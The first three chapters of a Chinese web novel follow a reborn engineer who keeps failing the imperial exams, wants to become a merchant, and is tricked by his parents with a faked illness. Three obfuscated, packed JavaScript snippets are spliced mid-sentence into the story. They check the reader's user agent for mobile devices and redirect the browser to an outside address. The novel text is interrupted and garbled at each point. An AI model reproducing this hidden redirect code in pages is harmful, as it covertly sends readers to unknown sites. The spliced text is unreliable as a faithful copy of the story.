《继承家业真的好难》 1. 第 1 章 “唉,这次的春闱的又落榜了。不知道回去老头子要怎么骂我,真烦人……想我堂堂一个现代人怎么被逼着科考呢,做啥不好要科考……”嘀咕到这,林清和再也忍不住揪住自己的头发来回揉搓。 为什么他堂堂一个现代理科生,工程机械制造者,要在这个不知名的古代大光王朝考科举。 如果没有发生那件事就好了,如果他小时候没有在父亲诗兴大发的时候随口一句诗,表明这个时候明明是这一句更好,更能体现对月怀思的感情就不会被当成小天才培养,更别提摆烂后还被逼着科举了。 谁知道那句诗在这个时代没有啊!他真的很想念在现代搬砖的日子。 是的,没错。林清和一个被车撞的倒霉鬼,胎穿到了一个人生地不熟的陌生古代王朝-大光王朝。 好在这个王朝是从社会科技发展进度和种花家的唐代差不多,民风开放程度很高,寻常日子女子也可以上街打马游玩,出门寻山访友,独立女户自己带娃生活。百姓的人身安全相较于以往朝代大大提升了。 是因为前一位皇帝是女帝,未及位时常常爱好私自出宫游玩,悄悄接收民间难案、疑案、冤案,扯下了大批官员的乌纱帽,帮并助了很多具有冤情以的百姓。在位期间修订律法,大力整改不合理的刑法,且提出了许多真正有意符合当前百姓的法律。女帝谥号光理帝,政平刑肃曰理。 继位的皇帝又是一位大孝子才没把女帝的功绩政策一笔代销。 林清和唯一的幸运便是生活在了这封建王朝少有的太平盛世之中。 “小师兄,你也别太难过了,总要想个法子和师父交代一下。”旁边的青年长着一双桃花瓣似的桃花眼,伸手拍拍林清和的肩膀。 说起来这也是小师兄的第三次落榜了,小师兄年少盛名,十六岁就已经通过了乡试考取了举人,怎么到了春闱就让人摸不着头脑考不上贡士呢,再怎么说九年时间也该考上了。 也不知道回去了之后,师父又该说什么。这次他不在,谁给罚禁闭的小师兄送吃的送喝的,青山 书院的学子们又该嘲笑小师兄了。 想到这,桃花眼青年小心翼翼抬眼看了下林清和。 只见林清和深深吸了一口气,复又缓缓吐出,铿锵有力的说道:“老子决定再也不科考了!无论老头子说什么,老子要去创业!” 创业?这又是什么奇怪的词语,小师兄还真是常常语出惊人,天马行空呢。 “等我富甲一方,小师弟你要罩着我,不能让我被其他人欺负哦。”林清和笑眯眯地对白琅月说道。 还不是当初埋下的坑,可恶实在不应该在没有了解实际的情况下答应了老头子的要求。哪里能想到这古代的糟老头子能有那么多的心眼子,居然骗三岁小孩搞签字画押那一套,最要紧的是他堂堂一个成年人居然真的签了。不说了,都是泪啊。 白琅月无奈笑笑,伸手作揖:“小师兄,你别消遣我了,我还远着,这才刚成为贡士。” “别说丧气话,小师弟你已经超越大光王朝百分之七十的读书人,过不了多久就要去殿试了,前途无量,未来可期。”林清和笑眯眯的说道 “而你小师兄我,则要打道回家和老头子斗智斗勇,和科举说拜拜啦。” 他决定要回去撕毁条约,并鼓动娘亲和妹妹一块离家出走感受大好河山,领略走商魅力,挖到第一桶金。来来回回的科举路,别的没学到,走商倒是一把好手,美曰其名:出来怎么能不带特产回家呢,来都来了。 “小师兄通透聪慧,无非是想与不想罢了。”白琅月弯唇一笑,是了,小师兄自幼便饱览群书,时不时便提出一些连师父也无法回答的问题。现在也时有语出惊人,妙手偶得。 要是林清和知道自家小师弟的想法,一定会狠狠地将他摇醒,这是什么神级滤镜,学过地理都知道天圆地方不正确。至于其他无法回答的问题当然是一些科学知识,无非是他看不得老头子那嚣张的劲儿打击一下,以便安慰他小小年纪就开始学习的痛苦。 林清和嘿嘿笑了一声,扒了扒凌乱的头发,说道:“琅月琅月,帮帮小师兄收拾一下行李吧。东西太多了,我一个人收不完,帮帮小师兄吧,求求你了。” 白琅月清俊的脸皮抽动,小师兄还是这般没皮没脸,迅速闭上了双眼又睁开。这才细细打量他小师兄的房间,房内衣物散乱,椅子上搭着两件,屏风上也有几件,床帐子上不知怎的也有件儿挂着。 随处可见的油纸包裹大大小小堆在角落里,隐约的边上还透着一线月白色,不知是纱罩还是内里的衣物。这些个油纸包裹也不知是喊闲汉送来的餐食还是打包回去的时兴玩意儿。书本倒是好好的放在一起,如果不是放得奇形怪状就更好了。 看得白琅月眼前发黑,立即从椅子上跳起来,恨不得马上逃离这个房间。 林清和早有预料,立马拉住了要走的小师弟,陪笑道:“别走琅月别走,你小师兄我真的很需要一个打包小能手,家务小能手。你知道我的,我根本不能整理好这些。” 林清和眼巴巴的望着自个儿的小师弟,一双端庄的凤眼愣是装出了无辜可怜狗狗眼的模样,希望白琅月能好心的帮帮忙。 怎么能……这才几天,怎么能这么乱!白琅月恨自己为什么没有在别的什么地方安慰小师兄,偏偏选择在小师兄的房间。这简直是洁癖症患者的禁地,更别提白琅月还带着点强迫症。 “小师兄,我比你还小三岁,你这是压榨!”白琅月看着林清和控诉道。 为什么每一次和小师兄出门他就要负责小师兄的衣食住行,这不是身为师兄应该做的吗?师兄不应该照顾师弟吗?白琅月崩溃,白琅月不理解,白琅月拒绝行动。 林清和懒懒往桌子上一趴,抬脸转向白琅月,可怜兮兮地望向白琅月,也不说话,默默地凝视着白琅月,眼神郁郁,自顾自喃喃道:“可怜我辛苦了九年,一个贡士都没考上,还要回去接受青山学子们的嘲讽和老爹的规训紧闭,果然我就是个废人。这自小一块成长的同门师兄弟之情如同无根的浮萍,浪都没打两个随水就散了……我的人生怎么就那么苦呢?现在连我平日里最最疼爱的小师弟也不帮我了,师弟都不唔唔……” 白琅月忍无可忍直接手动闭麦,什么人啊自己懒得收拾就成天来这一套爱不爱的,没皮没脸也不知哪里学来的,师父师母明明也不是这样的人。怪不得,师父在出门前叮嘱自己看好小师兄别说一些奇奇怪怪的话语。 “没皮没脸,快点起来帮忙。”白琅月拎着林清和的衣领,任劳任怨的收拾房间。 有了白琅月的加入,林清和的行李一个半时辰便收拾好了。两人歇息片刻便决定出门去光都一家名声不错的酒楼吃饭。 前脚刚踏出房间大门,后脚就听见有不少的学子在议论着今年新出的会元以及那个考了九年依旧没有考上已然归为平凡的林清和。 少年天才会试头名,谁也不知道他来自哪个书院,有不少人猜测会元或许是哪个不出世大儒的弟子,又也许是哪个世家弟子秘密培养出来的,每次诗文会友都不见来参加,无缘得见。 又说起那个江川府某县青山书院的院长之子春闱次次落榜,也不知道乡试怎么过的,连去年被称为最简单的一次春闱也没有成为进士。要知道去年新帝登基两年有余,正是缺基层官员的时候,春闱难度直线降低,上榜人数远超以往。谁让光理帝在位期间没填多少官员,所有人都是干着本职加两到三个兼职的公务。 今年的春闱还是底下的官员天天上书苦苦求来的恩科,所以说今年的春闱简易程度不比去年低。落榜人数寥寥无几,这就显得林清和落榜十几人十分显眼了。 大家都在开开心心举办诗文酒会庆祝自己榜上有名,你邀请我,我邀请你,少了谁都很明显,更别提林清和连着三次参加春闱。 “说起来,那个林清和听说还是个院长之子。也不知是哪家书院,院长的儿子考这么简单的春闱,三次还没考上,可见这家书院的能力不行。” “兄台可别这么说,那林清和小小年纪十六岁就已经中了举人,是个厉害人物。” “哈哈哈,什么厉害人物会连着三次中不了贡士,我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133426|149985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是江郎才尽了。” “有谁林清和家的书院叫做什么名字?我与他同乡,家中子侄不日便要进学,来信询问哪家书院可入?” “据说是叫什么青山书院。” “我看不必叫青山书院,应该叫孙山书院才对!” “说得好贴切,名落孙山,名落孙山,哈哈哈哈……” 桌上哄然大笑,气氛十分火热。 站在楼梯转角的白琅月脸色难看,看着底下大堂推杯换盏,红光满面的同期学子,五指紧攥,青筋暴起,抬起脚就要往下走。 却被林清和按住了脚步,白琅月不解地看向林清和:“师兄,为什么?” “说两句又不碍事,小师弟别放在心上,我们还要去藏玉楼吃好吃的,后日你小师兄我就要回江川了。”林清和笑意盈眼,一身白袍,风流写意。 “走吧。”林清和拉着白琅月下楼,耳边的议论声也越来越清晰,而白琅月的眼里只有自家小师兄欣长的背影。 小师兄自小就是这样,别人说什么都不放在心上,仿佛这世上就没什么能让他真正上心的。大家都说读书人只管读书就好了,做什么买卖,平白沾染了俗气的铜臭味。小师兄也只是笑笑说,我一个俗人而已。 可说自己是俗人的小师兄为双亲已失,寄人篱下的他指明了一个方向。这样好的小师兄,别人凭什么说三道四的。 “你说那青山学院的院长还是个状元,状元的儿子这么没用。” “这状元的身份我看是有问题吧,各位说是吧?” “砰!” 四下皆静,所有人的目光都望向那张桌子边上站着的青年,一身白袍,言笑晏晏:“不知诸位对朝廷封的状元有何不满?若有鄙人愿为诸位向上官进言。” 此言一出,哪里还不明白,这位公子便是刚刚议论不断三次春闱失利的林清和了。可是谁又敢在科举期间不满之前的状元德不配位,尤其是在座的都已中榜的情况下。 “怎么,诸位还不开口,是觉得没有笔墨纸砚在下记不住吗?放心,在下自小过目不忘,过耳入心。”凤眼一敛,锐利的眼神循着桌上的学子都扫了一圈,压迫感十足。 白琅月紧张的盯着林清和,生怕林清和有什么意外状况。他已经好久没有见着小师兄这一面了,刚才小师兄还在劝自己不要放在心上,怎么转眼之间自己莽上去了,怪凶的。 “……兄,兄台想必是听错了吧,我们只是在讨论这次状元谁最有可能而已。”其中一人听到林清和这么说酒都醒了,嘶哑着嗓子解释。 这些话一旦记下来宣传出去,轻则剥除已有的功名,重则身家性命全无。状元再怎么说也是朝廷官员,并不是他们这些没有品阶的贡士可以随便议论的。 “哦,是吗?”林清和故作疑惑,“可是我怎么听见状元的儿子?” “我们是说状元未来的儿子一定很聪明,天赋绝伦。” “对对对,自小过目不忘,出口成章,长大必定是栋梁之材。” “三岁识字,五岁诵诗,十岁作文章,天生文曲星下凡。” 桌上的学子们七嘴八舌一顿夸,各种好话不带重样的,生怕林清和嘴里再说点什么话将他们的仕途断绝。还有学子快速的瞄了几眼林清和的脸色。 “天生纵然聪慧,后天的教育也是很重要的,欢迎大家的儿子女儿,亲朋好友的侄子侄女们来我家书院念书。”林清和被夸得一阵舒爽,眉眼带笑为自家书院打广告,进行招生活动。 “好说好说。” “正巧我家子侄年龄到了,可以去可以去。” “我家书院在江川府定江县南边的一座青山上,名字叫做青山书院。既然大家这么热情,来小师弟拿纸笔过来,我们登记一下学生信息,收一下学费定金。”林清和从隔壁桌子边上随手拉过一张椅子挤进学子之间。 “好的,小师兄,我身上正巧带了纸笔。”白琅月从长袍袖子内袋中拿出了纸与笔,一步步向自家小师兄走去。 桌上众人神色各异,甚至有人面上愤然,脱口而出:“你不要得寸进尺。” 2. 第 2 章 林清和微微一笑说:“忘记和你们说了,本届考官恰好是家父的好友,闲暇得空时会来书院看看,教育质量看得见,大家放心。” 出言的学子顿时脸皮涨得通红,眼神难以言喻,这个人是故意的吧,为什么早不说晚不说,偏偏这个时候说。 小师兄这个促狭鬼,白琅月面色平淡的看向那人,内心腹诽。 眼见众人的目光都在此人身上,那人顶不住压力,却又不想失了面子,直接站起来丢下一句:“谁知道是真是假,大家别被他骗了。”就跑了。 “大家若是不相信可以出去打听打听,我们青山书院也不做那强买强卖之事。”林清和收起纸笔,站起身,姿态潇洒,眼神真挚,自成一派。 “小师弟走喽,去藏玉楼吃饭去。”说着抬手搭在白琅月的肩膀上,全然不顾余下学子作态如何。 两人搭着肩走到客栈门口时,林清和忽然转身笑道:“这个入学邀请到明天晚上就失效了,诸位尽快做决定哦。” 众学子面面相觑,早已没了谈天论地的兴致,又被林清和的一回头吓得一激灵。 “这可如何是好?” “走得那么轻易,说不定就是骗子。” “他也不怕人问。” “春闱失利三次,也没见着哪位好友捞他。” “可,要万一……” 众人议论纷纷,有人不以为意,有人悄悄担心,各有各的打算。然而,似是而非的流言还是以这群学子为中心隐秘地传播在江川府学子之中。 坏名声往往比好名声容易流传,不出意外地,林清和落榜的消息伴随着书院一落千丈的名声越传越远。 远在江川府定江县青山书院的林父已经收到了林清和春闱失利的消息,当场被气得胸口发痛,所幸还好白琅月成功中榜,林启春才没有当场破口大骂。 不曾想,过了两日又收到了许久未见好友的来信,信中尽是对白琅月的赞美之词,称白琅月文风干练,对答时策精辟入理,言之有物。责怪他为何对自己的儿子不尽心,明明一连好几个弟子都已入了官场,问他是不是舍不得儿子。 今日回程,天朗气清,江水碧波荡漾,码头上来往的船只川流不息,力夫们背着货物来回搬运。 林清和站在船头上挥别白琅月,留下临别赠言,好风凭借力,愿君蟾宫折桂,金榜题名。 江川府离光都并不近,顺风走水路约三四日,长时五六日,走陆路则需要一个半月。水路沿途路经三四个省府,风光各有不同。 得益于本朝文风正盛,每个省府内都有一个名声斐然的书院,江川府也不例外,至少府内每个县都有一座书院,当然,这些书院都少不了当地县衙的支持。 而青山书院是定江县内少有的一家由个人创办的书院,且出了不少举人进士,在江川府内小有名气,不少秀才举人都会来这儿求学。 近些日子青山书院却饱含流言的侵扰,院长之子春闱数次失利,此次科考青山书院也无人中举上榜,惹得求学而来的学子们纷纷转投其他书院,连带着在百姓中的名声也败落了。青山书院内的学子们人心惶惶,不少学子选择在家温书,或是转入其他书院,居然连先生也走了不少,昔日书声朗朗,谈笑风生的书院已然变得寂寥无声。 林父站在书院的廊亭中,满面愁容,一美妇站立在侧,抬首凝望着青郁的树尖。 “此次流言怕是有心之人挑起的,连书院内的学子都受到了影响,夫君接下来该怎么做?” 林启春静默许久,缓缓出声:“等。” “那……要离开的学子和先生们呢?”木竹秋继续追问道。 “离开就离开,此次科考除琅月,还有那孽子有把握下场之外,其余人还需压个一两年方可下场试上一试,这都忍不住何谈以后。”顿了一下,目光幽远又继续说道:“至于先生们,我随后与他们谈谈吧。流言四起,澄清发出去也被断章取义,颠倒黑白,只怕是青山书院挡了旁人的道。” “最差不过是重头来过,夫君别太担忧了。”木竹秋轻轻拍了拍林启春的手臂,又道:“大四月快回来了,往后莫让他科考了。年年如此,你们父子两也不消停。” 林启春与木竹秋年少相识,志趣相投,家世相当,婚约经由父母主持,成亲后林启春对妻子多有爱重,连生下的孩子也延续了妻子的起名方式。 竹秋是二月中的一个别称,四月别名清和、六阳、余月等等,正巧,林清和与小他三岁的妹妹一样都是四月出生,所以兄妹俩的小名一个叫大四月,另一个叫小四月。 “我那是不叫他浪费了天赋,明明小时候聪明得很,怎么长大了就木头脑袋不开窍,连小四月都不如!今年的春闱考题我托人带回来了,和去年简单的很,他分明就是不愿意去当官!”林启春怒其不争,恨恨骂道,不顾妻子阻拦开始数落林清和的不是,过了好一会才停下来。匀了口气,静静说道:“二月你平日里照顾孩子们辛苦了,但是让岂能如了他的愿让他出门经商,得想个法子让他不能忘了科考,熄了经商的心。正好,此次流言里有他的一份,得叫他吃个苦头。” 长久的夫妻默契让木竹秋眼睛微亮,神色兴奋:“夫君你是说……” 林启春对妻子点点头:“没错,好二月,得看你的了。” 夫妻俩站在廊亭中好一阵儿嘀嘀咕咕,竟然连午膳都忘记去用了,还是木竹秋的贴身侍女过来提醒两人才知道用膳的时间已经过去半个时辰了。 林清和尚且不知道远在定江县有关于他的流言席卷在大街小巷,连带着青山书院的名声也一落千丈,其中还少不了自家亲爹的推波助澜,只能说,你爹还得是你爹。 * 定江县内,一辆风尘仆仆的马车从主道上悠悠驶过,驾驶马车的位置上并不是车夫而是个穿着书生的凤眼青年,嘴里还叼着根草,一手晃悠着马鞭,一手拉着缰绳,举手投足间止不住的潇洒。 只是街上的行人看见此人,都忍不住与旁人窃窃私语,一边说一边瞟向马车离开的方向。 “这书生就是那个死活不中榜的书生吧?” “正是此人,看来青山书院一年不如一年了,院长据说还是状元呢,也不过如此。” “这不是还有其他书院,据说白石书院又请了一位大儒过来教学,县衙去年也开了县学,当先生的都是往年举人贡士起步的。” “今年青山书院听说只有一个人去了,其他人都不许去考。” 聊闲话的人一听此话,沉默了一瞬,随后气氛更加火热。 林清和有些摸不着头脑,为什么大家看他的眼神这么奇怪,颇有种自家老爹恨铁不成钢,又带着嫌弃的眼神。 难道是出了什么事情?想到这,林清和挥着马鞭,加快速度往定江县的南边驶去,一路快马加鞭赶到青山书院。 马车一路往青山书院奔去,林清和很明显就察觉出了其中的差别,去往青山书院的路上不说繁华热闹,好歹平日里是不缺人气的,今日的街道为何只有寥寥几人在街上匆匆行走。 “爹,娘,我回来了。”还没进门林清和就开始大声呼喊,没有半点君子风范。 青山书院虽取名为青山,并不是因为南边的青山,而是意为:蜉蝣人生,光阴短暂,青山不为雪白,群青依旧。人生苦短但向学之心也应如青山一般坚定,不惧风雪。 林府的宅子就位于青山书院不远处,相差一百来米。林家人生性简朴对物欲要求不高,更注重精神上的追求,家中书画典籍有专门的房间存放,府内也不过仆从七八人,各司其职,每个岗位上只有一个人,就连林清和这次出门也是雇了一个出门,只为了将车夫留在家里,让家里人的出行更为方便,因此林清和回来时一人驾着马车,并无仆从跟随。 “大少爷,您回来啦?最近老爷夫人心情都不太好哩,连小姐也安慰不了几句就被打发出来。您……您快进去吧。”车夫林叔接过马车,忧心忡忡地说道。 “没事的,林叔,我这才回来,林先生和木娘子不会对我这么狠心。”林清和摆摆手,朝进门的方向扬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133427|149985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起笑脸,抬起脚步往里走。 大少爷咋又这样喊自个儿的爹娘嘞,怪生分的哩。林叔兀自纳闷驾着马车绕至侧门,将马车归位。 林启春早已坐在书房里等待着林清和的到来,闭着眼伸着手指在桌面上敲击,脑海里回想着流言的几个推手,究竟是谁对他的心血下手了。 这定江县太小,但也不是没有,江川府也有几家书院与我这青山书院不相上下的。去年县令兴文政,开县学,只是去的学子不多,今年科举成效不大,但也有一个学生榜上有名,最近还请了个大儒,只差生源,恰巧青山书院学生多,这是一个嫌疑。 流言据说是从光都传到江川府再传到定江县的,发酵得声势浩大,没几日功夫就全府皆知了。这些个书院私下里没少觊觎他的学生和教书的先生们,据他所知有几个先生已经离开了定江县前往其他书院了,另一些则去了县里的书院,县学也有几位…… 清脆的敲击声随着他的思绪越飘越远,耳边传来了轻快又急促的脚步声。 那孽子,哼!林启春和这越长越不孝的儿子斗智斗勇十几年,还不是让他考了三次春闱,三年后定要叫他考上贡士。 “爹,我回来啦!”林清和推开门,元气满满:“我这次回来给你们带了好多特产,船上有人出高价买我都没卖呢,专门留着给你们。” 一本书带着飒飒风声扑面而来,林清和身姿灵巧,轻而易举地接住了这一本书,笑嘻嘻的说道:“林先生好大的威风啊,连书都舍得扔,平日里我在里面画个图您都要骂个半天。别生气了,来看看我给你带了什么好东西。” “什么好东西能比得上我这书院的名声,你这孽子居然还敢回来,也不瞧瞧书院的名声被你连累成什么样了!给我滚出去!”说着又飞了一本书过来。 “什么?我不知道啊,发生什么事了,为什么我连累了书院名声?说清楚点啊,老头子!”林清和也不装乖乖仔了,一个老头子直接脱口而出。 气得林启春双眼瞪圆,怒火冲天,随手抓到什么就扔什么出去,嘴里还在稳定输出:“孽子,平日里给你两分好颜色,你便能开染坊。今年春闱的题连小四月都能做出来,你到底是不是我和你娘的孩子,你就合该是个大家闺秀养的兔子,大门不出,二门不迈,在家勤勤恳恳打洞生崽子。” “什么?我和小四月养的兔子一个待遇,老头子你说清楚,我哪里惹你了,春闱我也去了,科举我也考了。”林清和左闪右避,还伸手将东西接下来放好。 “你还有连提春闱,你名落孙山的书信早就传遍整个大光了,整个定江县谁人不知道,你父亲我,一个状元,教不出一个贡士!偏偏这届春闱青山书院一人未中!而你院长之子考了三次春闱,我的脸都被你丢光了!”林清和气得嘴唇发抖,手不住地拍自己地的胸口。 “啊?”这个事情不是已经解决了吗?还以防万一悄悄让给石伯伯递信了,林清和真真是万万没想到三次春闱失利的影响那么大,那考不上,考了好多次的人不是很多吗,为什么独独对他失利的消息广泛传播。 可恶,到底是那天的哪个人,我要让白琅月找出来!林清和愤愤不平地想着。 “你还啊,我看你是分不清形势,连着三年失利,我不管你怎么想的,三年后你必须考上进士来挽救青山书院的名声。”林启春定定地看着林清和,执念都快化成实体缠上林清和了。 “这不可能老头子!你不能自己仕途不顺就让儿子实现你的梦想。”林清和一口回绝:“你死心吧!” “孽子,你!”林启春一口气没上来,胸膛不断起伏,止不住地咳嗽,嘴角甚至流下了一丝鲜血,一边还用手指着林清和颤抖。 “夫君你怎么了,夫君?”木竹秋一进门就看见自家夫君咳嗽着流血,急忙跑过去,还回头喊了一声林清和快叫大夫过来诊治,眼泪簌簌流下。 这一变故惊呆了林清和,赶忙跌跌撞撞地跑出门去请大夫,心乱如麻。 看着林清和远去的身影,林启春与木竹秋相视一笑。 3. 第 3 章 “娘子好演技,这下不怕那孽子不答应三年后去春闱科考了。”林启春接过木竹秋的手帕擦拭嘴角的鸡血。啧,腥味好重。 大光王朝已有三代,开国帝君开疆扩土,尤为勇猛,打得大光周边国家不断退后,领土尽失,龟缩一隅。然光理帝为守成安内之君,理肃朝内,令百姓休养生息,重文风,注教育,武将大多无人晋升,而邻近小国现如今蠢蠢欲动,边境常有劫掠。 寒门百姓想要改换门庭只能往科举上努力,林清和居然还想往下走,若不是太平盛世,哪来的安宁。科举在大光分为四个部分:巡回科考每年一次录取秀才,两年后通过乡试又被叫做秋闱考得举人。 次年会试,在光都礼部举行贡士选拔,俗称春闱又称为礼闱,会试又分为初试和复试。各位贡士中榜后在光都等待礼部通知时间准备去殿试,时间大概在两到三个月,时间长的也有推至六个月后。白琅月此次的殿试时间就推得格外长。 殿试又皇帝本人进行策问,过后所有进士分三甲,第一甲前三名被称为状元、榜眼、探花,后续名次都赐予进士及第的称号,第二甲赐进士出身,第三甲赐同进士出身。以上此经过殿试的贡士们也统称为进士。 光理帝初期提出兴建私塾、书院、县学、官学,国学,曾受到世家大族与朝中官员的多番阻拦,直到中期,政策才得到真正落实。末期,私塾和书院以及县学才在光朝境内各处开花,官学和国学依旧只接受在朝官员和世家大族子弟进入学习。 距今也不过三年有余,新旧交换,谁知道现如今没有底蕴的私塾书院们什么时候又突然消失了呢。 “夫君快些到塌上躺好,我来给你上点妆,保证病弱苍白。”木竹秋拉着林启春手往塌那边走去,兴致勃勃地掏出一个小巧的木色漆盒。 木竹秋将林启春在塌上摆好半躺的姿势,打开盒子,手法利落地为林启春的脸上好了妆,远看自然服帖,若不凑近仔细观摩倒也没什么破绽。 幸好,离林家不远处就有一间药庐,那药庐历史悠久,坐堂大夫是林启春的好友,小时候林清和常常跟着爹去药庐里拜访。林清和快速的将李大夫请回去,急匆匆领着人往书房去。 书房内,林清和满脸焦急的等待着李大夫诊断结果,爹的身体一向健康,怎么会突然就吐血了,难道是什么隐形的疾病,古代的医疗技术本来就不发达,有什么长期病慢性病的潜伏期根本查不出来。 林清和的内心忍不住一阵阵担忧,前世他的人生说不上好,自小跟着奶奶生活,根本体会不了父母的爱,正常的家庭是什么样的。虽然是过劳死胎穿到这个陌生落后的朝代,但是他遇到了一个很好的家庭,一对很好的父母,他们可能有时候在某些方面十分固执,但也并非不明白事理。 李大夫的手指从林启春的手腕上拿起,林清和忍不住开口询问情况:“家父的情况如何,为何会吐血?” 看着林清和围在大夫旁边团团转的样子,木竹秋心里不舒服,隐隐在林启春腰间的软肉上掐了一把,令林启春小小的吸了口冷气。 “急火攻心,淤血吐出来就好,清和平日里对你爹多顺顺心,不要让他动怒,这方子收好,每日一贴饭后饮下即可。”李大夫摸着胡子悠悠说道。 林院长倒也是个执拗的性子,平日里火气不少,为了让清和考科举下春闱十分执着,长期下来,肝气郁结,火气旺盛,好在林院长及时抒发郁气,唯余火气,气大伤身,终归不好,望林院长早日从迷障中醒悟过来,人生各自有各自的缘法。 今日算是见证了一场好戏,只希望别被清和发现了,不然又是鸡飞狗跳的日子,令人不清净。 “好好好,还有什么需要注意的地方?”林清和跟在李大夫的屁-股后面,细细了解需要注意的地方,还有如何养生强健身体的方法。 林清和一路殷勤送至门口,临了,李大夫不动声色提醒了一句:“清和啊,你爹让你科考都是为了你好,你也对自己多上上心。” 话尽于此,林清和连忙点头应好,让林叔送李大夫回药庐去,紧接着脚步急促地赶往书房。他的内心边担忧着林启春的病情边思索着李大夫的最后的话。 为什么李大夫最后会留下这句话,难道是不可挽救的慢性疾病吗? 此时书房内,木竹秋和林启春遣散了书房仅有一名侍从,两人正商量着怎样才能让林清和平静的接受继续科考的命运,不想让林清和继续捣鼓走商经商的事情。 门外传来一阵脚步声可见来人十分焦急,林启春抬眼一看木竹秋,赶忙止住话头,在塌上躺好,并用手指了指自己的脸,示意如何,只见木竹秋点点头,这才闭眼躺好。 “怎么没人在这帮忙啊?”林清和看着门内门外都没有人,门外唯有远处一老翁在侍弄竹林,门内只有木竹秋一人在拉着林启春的手,泛红着眼眶,默默不语。 “我打发他去给你爹熬药了,送李大夫回去了,怎么这么快,是没送到药庐那吗?”木竹秋抬头看向林清和问道,还好夫君耳目灵敏没让清和撞见,真是惊险,往后可要再小心一些了,得想办法和夫君商量找个隐蔽的地方躲过大四月。 林清和走到塌边上,拉过一把椅子靠边坐下,看着脸色苍白的林启春,蓦然注意到了林启春鬓边上的一抹雪白,无奈在内心叹了口气。 “喊林叔帮忙用马车送到药庐那,爹现在如何?” “说是累了,睡一会儿,李大夫可还有别的交代?”木竹秋自然的将视线转移到林启春的脸上。 “说是平日里注意饮食,最好是清淡养生的,没事的时候可以练一下养生拳,不要太操劳了。” “没什么大事就好,就怕万一哪天又复发。”木竹秋叹了口气,继续问道:“当时你和你爹谈了什么,为什么你爹会突然吐血?” 还好提前和李大夫商量好了说法,没在诊脉的时候露出马脚,只希望大四月没发现什么不对,也不知道鸡血处理好没有。 连接厨房方向的走廊内书房的侍从将鸡血和沾到鸡血的衣物手帕交给厨房内的厨娘,两人快速而隐秘的交割完。 厨房早早就只剩下一人值守,厨娘首先把鸡血倒入一个白瓷罐内,盖好盖子。又转身架起一锅冷水,而后将衣物和手帕一起直接塞进灶洞内,又塞了几把干草,点起火把引燃干草,干草连着衣物帕子慢慢燃为漆黑的灰烬。 “娘你想还能是什么问题,当然是老问题,这次春闱我又一次落榜,我想着琅月中榜的消息跟着一块回来,爹不至于那么生气。世事难料,没想到儿子我春闱失利的消息被肆意传播还加上了许多不实的传闻,拖累了父亲和青山书院的名声,父亲这才一气之下吐血。” 林清和无奈一笑,造谣的只需要一张嘴,成本极低,但辟谣的代价在古代的成本也是极大的,且不说造纸术只掌握在朝廷和世家以及少数书商手中,印刷术还是没影的事情,购买书本的费用极大,因而传递消息的速度极慢,在这路途遥远的古代辟谣难度不亚于消息漫天,传递速度极快的现代网络。 “那你还想放弃吗?”木竹秋抓着林启春的手,暗示林启春不要动作,局势还能稳住。 “娘,我志不在此。”林清和做不到违背自己人生目标的事,哪怕父亲如今因为他卧病在床。 首先,他是他自己,其次是作为父母的儿子。人必先爱己,才可自爱,被他人爱,若情急之下为了父母或是他人,答应了一个自己做不到且不想做的事情,日后想起必定是时时刻刻悔不当初,再深厚的感情也会随着这些情绪和时间消磨殆尽,说不定还会反目成仇。 木竹秋的手瞬间被林启春握紧,她赶紧用另一只手覆盖其上:“那你想做什么,你也知道,你爹不会让你去经商。另外你也二十有五了,当初你说先立业再成家,我们也由着你,若是不去春闱,那就先相看,准备成亲。” 一听木竹秋在逼问和催婚,林清和一个小众取向哪里敢接话,赶紧说道:“娘如今我的名声哪里还有女子能看得上我,更何况,书院的名声也被我连累至此,爹也伤了身体不能操劳,我哪里还有什么心思去相看,相看的事不急,以后再说吧。” 成亲是不可能成亲的,能拖到什么时候是什么时候,不能耽误人家小姑娘寻找幸福,最好一辈子一个人单身潇潇洒洒走天涯。 走商就是一条非常好的规避手段,在家时间少,一回来就被热情欢迎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133428|149985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没过几天又继续出门,完全没有被催婚的烦恼,想想就很开心。 早在前世的工作时就听同时吐槽家里的一些糟心事,他当时听着就感觉很羡慕,现如今他有了双亲,也算是体验了一把甜蜜的负担。 来自父母的掌控欲,尤其这里还是以孝为大的古代,男子尚能自己决定自己未来的另一半是什么样的人,有自己的事业,女子连自己的婚事都不能做主,强硬些的父母都不会让女儿多问两句,更多的是在成亲的第一晚见到自己的夫君。 虽说这个朝代的风气开放了很多,法律的改变对女子的处境有了改善,但对于未成亲的女儿家来说大多数仍旧是遵循父母之命媒妁之言,少数则是青梅竹马,知根知底。 